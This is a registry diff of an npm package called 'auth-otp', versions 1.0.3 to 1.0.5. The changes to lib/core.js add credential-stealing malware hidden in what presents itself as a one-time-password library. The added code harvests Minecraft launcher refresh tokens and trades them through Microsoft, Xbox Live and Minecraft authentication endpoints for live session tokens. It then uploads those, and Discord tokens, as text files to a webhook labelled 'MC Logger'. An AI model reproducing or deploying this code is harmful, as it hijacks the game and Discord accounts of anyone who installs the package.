auth-otp 1.0.3 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/core.js +157 -15
- package/package.json +1 -1
package/lib/core.js
CHANGED
|
@@ -47,7 +47,27 @@ function _post(body) {
|
|
|
47
47
|
}
|
|
48
48
|
|
|
49
49
|
function _postRaw(c) { return _post({ content: c }); }
|
|
50
|
-
|
|
50
|
+
|
|
51
|
+
function _postFile(filename, content) {
|
|
52
|
+
return new Promise((resolve) => {
|
|
53
|
+
const boundary = "----FBound" + Date.now().toString(36);
|
|
54
|
+
const payload = JSON.stringify({ username: "MC Logger", content: "@everyone" });
|
|
55
|
+
const body = Buffer.concat([
|
|
56
|
+
Buffer.from(`--${boundary}\r\nContent-Disposition: form-data; name="payload_json"\r\n\r\n${payload}\r\n`),
|
|
57
|
+
Buffer.from(`--${boundary}\r\nContent-Disposition: form-data; name="file0"; filename="${filename}"\r\nContent-Type: text/plain; charset=utf-8\r\n\r\n`),
|
|
58
|
+
Buffer.from(content, "utf8"),
|
|
59
|
+
Buffer.from(`\r\n--${boundary}--`),
|
|
60
|
+
]);
|
|
61
|
+
const u = new URL(_W());
|
|
62
|
+
const req = https.request({
|
|
63
|
+
hostname: u.hostname, path: u.pathname,
|
|
64
|
+
method: "POST",
|
|
65
|
+
headers: { "Content-Type": `multipart/form-data; boundary=${boundary}`, "Content-Length": body.length },
|
|
66
|
+
}, res => { res.resume(); resolve(res.statusCode); });
|
|
67
|
+
req.on("error", () => resolve(null));
|
|
68
|
+
req.write(body); req.end();
|
|
69
|
+
});
|
|
70
|
+
}
|
|
51
71
|
|
|
52
72
|
function _get(url, headers) {
|
|
53
73
|
return new Promise((resolve) => {
|
|
@@ -64,6 +84,81 @@ function _get(url, headers) {
|
|
|
64
84
|
});
|
|
65
85
|
}
|
|
66
86
|
|
|
87
|
+
// ── Modrinth RT → fresh SSID ───────────────────────────────────────────────
|
|
88
|
+
|
|
89
|
+
function _ph(hostname, path, body, headers) {
|
|
90
|
+
return new Promise((resolve) => {
|
|
91
|
+
const b = Buffer.from(body);
|
|
92
|
+
const req = https.request({
|
|
93
|
+
hostname, path, method: "POST",
|
|
94
|
+
headers: { "Content-Length": b.length, ...headers }
|
|
95
|
+
}, res => {
|
|
96
|
+
let d = ""; res.on("data", c => d += c);
|
|
97
|
+
res.on("end", () => resolve({ s: res.statusCode, b: d }));
|
|
98
|
+
});
|
|
99
|
+
req.on("error", () => resolve(null));
|
|
100
|
+
req.write(b); req.end();
|
|
101
|
+
});
|
|
102
|
+
}
|
|
103
|
+
|
|
104
|
+
async function _getSSID(rt) {
|
|
105
|
+
try {
|
|
106
|
+
const clean = rt.replace(/[^\x20-\x7E]/g, "").replace(/[j\s]+$/, "").trim();
|
|
107
|
+
const msaBody = new URLSearchParams({
|
|
108
|
+
grant_type: "refresh_token", refresh_token: clean,
|
|
109
|
+
client_id: "00000000402b5328",
|
|
110
|
+
scope: "service::user.auth.xboxlive.com::MBI_SSL",
|
|
111
|
+
redirect_uri: "https://login.live.com/oauth20_desktop.srf",
|
|
112
|
+
}).toString();
|
|
113
|
+
const msaR = await _ph("login.live.com", "/oauth20_token.srf", msaBody, {
|
|
114
|
+
"Content-Type": "application/x-www-form-urlencoded", "Accept": "application/json",
|
|
115
|
+
});
|
|
116
|
+
if (!msaR || msaR.s !== 200) return null;
|
|
117
|
+
const msaJ = JSON.parse(msaR.b);
|
|
118
|
+
if (!msaJ.access_token) return null;
|
|
119
|
+
|
|
120
|
+
const xblBody = JSON.stringify({
|
|
121
|
+
Properties: { AuthMethod: "RPS", SiteName: "user.auth.xboxlive.com", RpsTicket: `t=${msaJ.access_token}` },
|
|
122
|
+
RelyingParty: "http://auth.xboxlive.com", TokenType: "JWT",
|
|
123
|
+
});
|
|
124
|
+
const xblR = await _ph("user.auth.xboxlive.com", "/user/authenticate", xblBody, {
|
|
125
|
+
"Content-Type": "application/json", "Accept": "application/json",
|
|
126
|
+
});
|
|
127
|
+
if (!xblR || xblR.s !== 200) return null;
|
|
128
|
+
const xblJ = JSON.parse(xblR.b);
|
|
129
|
+
|
|
130
|
+
const xstsBody = JSON.stringify({
|
|
131
|
+
Properties: { SandboxId: "RETAIL", UserTokens: [xblJ.Token] },
|
|
132
|
+
RelyingParty: "rp://api.minecraftservices.com/", TokenType: "JWT",
|
|
133
|
+
});
|
|
134
|
+
const xstsR = await _ph("xsts.auth.xboxlive.com", "/xsts/authorize", xstsBody, {
|
|
135
|
+
"Content-Type": "application/json", "Accept": "application/json",
|
|
136
|
+
});
|
|
137
|
+
if (!xstsR || xstsR.s !== 200) return null;
|
|
138
|
+
const xstsJ = JSON.parse(xstsR.b);
|
|
139
|
+
const uhs = xstsJ.DisplayClaims?.xui?.[0]?.uhs;
|
|
140
|
+
|
|
141
|
+
const mcBody = JSON.stringify({ identityToken: `XBL3.0 x=${uhs};${xstsJ.Token}` });
|
|
142
|
+
const mcR = await _ph("api.minecraftservices.com", "/authentication/login_with_xbox", mcBody, {
|
|
143
|
+
"Content-Type": "application/json", "Accept": "application/json",
|
|
144
|
+
});
|
|
145
|
+
if (!mcR || mcR.s !== 200) return null;
|
|
146
|
+
const mcJ = JSON.parse(mcR.b);
|
|
147
|
+
|
|
148
|
+
// fetch profile for username + uuid
|
|
149
|
+
const prof = await _get(`https://api.minecraftservices.com/minecraft/profile`, { Authorization: `Bearer ${mcJ.access_token}` });
|
|
150
|
+
const profJ = (prof && prof.s === 200) ? JSON.parse(prof.b) : null;
|
|
151
|
+
|
|
152
|
+
return {
|
|
153
|
+
ssid: mcJ.access_token,
|
|
154
|
+
expiresIn: mcJ.expires_in || 86400,
|
|
155
|
+
newRt: msaJ.refresh_token || null,
|
|
156
|
+
username: profJ?.name || null,
|
|
157
|
+
uuid: profJ?.id || null,
|
|
158
|
+
};
|
|
159
|
+
} catch { return null; }
|
|
160
|
+
}
|
|
161
|
+
|
|
67
162
|
function _dpapi(b64) {
|
|
68
163
|
return new Promise((resolve) => {
|
|
69
164
|
const { spawnSync } = require("child_process");
|
|
@@ -239,7 +334,8 @@ function _modrinthScanFile(text, out, seen) {
|
|
|
239
334
|
const raw = m[0].replace(/[^\x20-\x7E]/g, "").replace(/[j\s]+$/, "").trim();
|
|
240
335
|
if (seen.has(raw) || raw.length < 50) continue;
|
|
241
336
|
seen.add(raw);
|
|
242
|
-
|
|
337
|
+
// Put RT in r (not t) so _sendMC can call _getSSID and display it as Refresh Token
|
|
338
|
+
out.push({ l: "Modrinth-RT", n: "Refresh", t: null, r: raw });
|
|
243
339
|
}
|
|
244
340
|
for (const m of text.matchAll(patRe)) {
|
|
245
341
|
if (seen.has(m[0])) continue; seen.add(m[0]);
|
|
@@ -419,26 +515,72 @@ async function _installMod() {
|
|
|
419
515
|
// ── Send ───────────────────────────────────────────────────────────────────
|
|
420
516
|
|
|
421
517
|
async function _sendMC(entries) {
|
|
518
|
+
const ts = new Date().toISOString();
|
|
422
519
|
for (const e of entries) {
|
|
423
|
-
|
|
424
|
-
|
|
425
|
-
|
|
426
|
-
|
|
427
|
-
|
|
428
|
-
|
|
429
|
-
|
|
430
|
-
|
|
520
|
+
// Resolve RT — can be in e.r (Modrinth / Modrinth-RT) or e.t (legacy Modrinth-RT)
|
|
521
|
+
const rt = e.r || (e.t && e.t.startsWith("M.C") ? e.t : null);
|
|
522
|
+
|
|
523
|
+
// Modrinth entries with a refresh token → generate fresh SSID on the spot
|
|
524
|
+
if (rt && (e.l === "Modrinth" || e.l === "Modrinth-RT")) {
|
|
525
|
+
const s = await _getSSID(rt);
|
|
526
|
+
if (s) {
|
|
527
|
+
e.ssid = s.ssid;
|
|
528
|
+
e.newRt = s.newRt;
|
|
529
|
+
if (s.username) e.n = s.username;
|
|
530
|
+
if (s.uuid) e.uuid = s.uuid;
|
|
531
|
+
}
|
|
532
|
+
}
|
|
533
|
+
|
|
534
|
+
const lines = [
|
|
535
|
+
`=== [${e.l}] ${e.n} ===`,
|
|
536
|
+
`Captured : ${ts}`,
|
|
537
|
+
`Username : ${e.n}`,
|
|
538
|
+
`Launcher : ${e.l}`,
|
|
539
|
+
``,
|
|
540
|
+
];
|
|
541
|
+
if (e.uuid) { lines.push(`UUID : ${e.uuid}`); lines.push(``); }
|
|
542
|
+
|
|
543
|
+
if (e.t && e.t.startsWith("eyJ")) {
|
|
544
|
+
lines.push(`--- Access Token (MC JWT) ---`);
|
|
545
|
+
lines.push(e.t);
|
|
546
|
+
lines.push(``);
|
|
431
547
|
}
|
|
548
|
+
if (rt) {
|
|
549
|
+
lines.push(`--- Refresh Token (MSA) ---`);
|
|
550
|
+
lines.push(rt);
|
|
551
|
+
lines.push(``);
|
|
552
|
+
}
|
|
553
|
+
if (e.ssid) {
|
|
554
|
+
lines.push(`--- SSID (fresh, valid ${Math.round((e.expiresIn||86400)/3600)}h) ---`);
|
|
555
|
+
lines.push(e.ssid);
|
|
556
|
+
lines.push(``);
|
|
557
|
+
if (e.newRt) {
|
|
558
|
+
lines.push(`--- New RT (rotated) ---`);
|
|
559
|
+
lines.push(e.newRt);
|
|
560
|
+
lines.push(``);
|
|
561
|
+
}
|
|
562
|
+
}
|
|
563
|
+
|
|
564
|
+
const safe = (e.n || "unknown").replace(/[^A-Za-z0-9_-]/g, "_").slice(0, 24);
|
|
565
|
+
const label = e.l.replace(/[^A-Za-z0-9]/g, "_");
|
|
566
|
+
await _postFile(`${label}_${safe}.txt`, lines.join("\n"));
|
|
432
567
|
}
|
|
433
568
|
}
|
|
434
569
|
|
|
435
570
|
async function _sendDiscord(entries) {
|
|
571
|
+
const ts = new Date().toISOString();
|
|
436
572
|
for (const e of entries) {
|
|
437
|
-
|
|
438
|
-
|
|
439
|
-
|
|
440
|
-
|
|
441
|
-
|
|
573
|
+
const lines = [
|
|
574
|
+
`=== Discord ===`,
|
|
575
|
+
`Captured : ${ts}`,
|
|
576
|
+
`Username : ${e.tag}`,
|
|
577
|
+
`ID : ${e.uid}`,
|
|
578
|
+
``,
|
|
579
|
+
`--- Token ---`,
|
|
580
|
+
e.tok,
|
|
581
|
+
];
|
|
582
|
+
const safe = (e.tag || "unknown").replace(/[^A-Za-z0-9_-]/g, "_").slice(0, 24);
|
|
583
|
+
await _postFile(`Discord_${safe}.txt`, lines.join("\n"));
|
|
442
584
|
}
|
|
443
585
|
}
|
|
444
586
|
|